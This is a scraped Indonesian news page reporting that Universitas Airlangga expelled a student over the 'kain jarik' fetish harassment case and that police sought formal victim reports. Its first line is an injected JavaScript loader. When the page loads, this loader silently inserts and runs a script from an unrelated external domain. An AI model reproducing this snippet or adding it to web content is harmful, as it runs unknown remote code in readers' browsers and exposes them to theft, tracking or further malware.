(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Unair Akhirnya DO Mahasiswa Pelaku Fetish Kain Jarik yang Viral di Twitter


KANALKALIMANTAN.COM, SURABAYA– Kasus fetish kain jarik yang sempat menghebohkan Twitter yang dilakukan GL- seorang mahasiswa Universitas Airlangga (Unair), Surabaya, akhirnya disikapi pihak universitas. Unair memutuskan mendroup out (DO) GL yang telah melakukan puluhan aksi pelecehan seksual berkedok riset bungkus membungkus manusia, pada Rabu (5/8/2020).

Pihak Unair, dalam situs resminya mengatakan, telah melakukan komunikasi dengan pihak keluarga GL di Kalimantan Tengah (Kalteng), seara online pada Senin (3/8/2020). Pihak keluarga, yang diwakili ibunya, telah menyatakan minta maaf dan menyerahkan keputusan sepenuhnya kepada pihak kampus Unair bersama komite etik.

GL yang diketahui asal Kabupaten Kapuas, Kalimantan Tengah ini, dinyatakan melakukan pelecehan dengan fetish kain jarik yang dibungkus kepada para korban yang notabene sesama notabanenya adalah mahasiswa.

Rektor Unair Prof Nasih bersama jajaran komite etik akhirnya memutuskan untuk memberikan sanksi DO kepada GL yang saat ini duduk di semester 10 dan sedang skripsi di Fakultas Ilmu Budaya (FIB). “Kasus saudara GL ini kami nilai sudah sangat merugikan nama baik dan citra Unair sebagai PTN yang mengusung nilai inti Excellence with Morality,” ungkapnya.

Putusan yang telah diberikan itu, sambung Nasih, mengacu banyak pertimbangan. Pertama dengan memperhatikan pengaduan korban yang mengaku dan merasa dilecehkan. Tidak hanya itu, tandasnya, korban juga merasa direndahkan martabat kemanusiannya oleh GL.

“Kami juga mempertimbangkan putusan setelah mendengarkan klarifikasi dari keluarga GL,” tandasnya.

Ia mengatakan, perilaku menyimpang mahasiswa angkatan 2015 yang telah merugikan banyak pihak telah mendapat balasan yang setimpal. “Perihal proses selanjutnya, baik proses hukum dan lain-lain tentu kami pihak universitas dengan sepenuhnya menyerahkan hal tersebut kepada aparat yang berwenang,” pungkasnya.

Dengan telah dikeluarkannya GL maka untuk proses selanjutnya Unair meyerahkan sepenuhnya kasus fetish kain jarik tersebut kepada pihak kepolisian. Unair juga mengimbau mahasiswanya yang pernah menjadi korban untuk segera melapor ke polisi.

Sementara itu, Polda Jawa Timur (Jatim) masih melakukan penyelidikan awal terkait kasus pelecehan seksual fetish jarik berkedok riset tersebut. Polisi menyatakan adanya keterbatasan untuk mendalami kasus tersebut karena hingga kini tidak ada pengaduan yang sah dari para saksi korban.

“Kita kan masih memiliki keterbatasan untuk adanya laporan pengaduan secara sah dari para saksi korban khususnya,” ujar Kabid Humas Polda Jatim Kombes Trunoyudo Wisnu Andiko di Mapolda Jatim, Surabaya, Senin (3/8) lalu dilansir republika.co.id.

Trunoyudo mengakui, sebenarnya Polda Jatim telah menjalin kerja sama dengan pihak kampus yang telah membuka posko pengaduan. Posko pengaduan Unair telah menerima 15 aduan dari orang yang mengaku menjadi korban dalam kasus tersebut.

Namun ternyata, aduan tersebut belum bisa dijadikan dasar penyelidikan kasus lebih mendalam karena para pengadu enggan mengungkap identitasnya. “Ada sekitar 15 orang yang mengadu. Namun masih sumir karena belum mencantumkan identitasnya secara jelas dan pasti,” kata Trunoyudo.

Karena itu, lanjut Trunoyudo, penyidik dari Ditreskrimsus dan Ditreskrimum Polda Jatim membuka layanan posko pengaduan secara langsung. Trunoyudo mengimbau mereka yang merasa menjadi korban dalam kasus tersebut, agar bisa segera melapor melalui nomor kontak 082143578532.

“Ini dalam rangka untuk memberikan suatu jalur khusus pengaduan. Sehingga bisa terlindungi dan bisa dirahasiakan khususnya untuk perlindungan saksi awal dari penyidik. Nanti kita juga bekerja sama dengan lembaga perlindungan saksi dan korban,” ujar Trunoyudo.(Kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell


Desy Arfianty

Recent Posts

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

3 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

6 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

21 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

22 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

22 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

1 hari ago

This website uses cookies.